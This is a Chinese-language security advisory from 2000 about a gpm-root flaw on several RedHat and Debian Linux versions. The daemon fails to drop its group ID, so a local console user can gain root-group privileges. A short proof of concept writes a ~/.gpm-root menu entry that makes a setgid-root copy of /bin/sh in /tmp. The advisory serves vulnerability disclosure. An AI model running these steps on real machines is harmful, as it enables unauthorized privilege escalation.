首页 -> 安全研究

安全研究

安全漏洞
多个Linux系统的gpm-root存在setgid root漏洞

发布日期:2000-03-24
更新日期:2000-03-24

受影响系统:
Alessandro Rubini gpm 1.19
   + RedHat Linux 6.2
   + RedHat Linux 6.1 i386
   + RedHat Linux 6.0 i386
Alessandro Rubini gpm 1.18.1
   + RedHat Linux 6.0 i386
   + RedHat Linux 5.2 i386
   + RedHat Linux 5.1
Debian Linux 2.2pre potato
Debian Linux 2.2
Debian Linux 2.1
Debian Linux 2.0
描述:

gpm软件包中的gpm-root程序是一个守护进程,当用户在控制台按下Ctrl键和鼠标按钮时将显
示出一个菜单,菜单内容由/etc/gpm-root.conf或者$HOME/.grpm-root文件设定。gpm-root
会先运行setuid()到用户id,然后再运行setgid()到用户组id,但是由于设计错误,程序没有
正确的执行setgid(),因此进程将保持gpm-root运行时的组身份。通常是root组。
本地用户(必须可以访问控制台)可能利用这个漏洞来获取root组权限。



<* 来源: Egmont Koblinger <egmont@fazekas.hu> *>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


$ cp /bin/sh /tmp
$ cat >~/.gpm-root<<_EOF_

button 1 {
name "create a setgid shell"
"setgid shell" f.bgcmd "chgrp root /tmp/sh; chmod 2755 /tmp/sh"
}

_EOF_


建议:
按Ctrl键加鼠标的左键,激活菜单,点击"setgid shell",然后执行/tmp/sh

浏览次数:6523
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障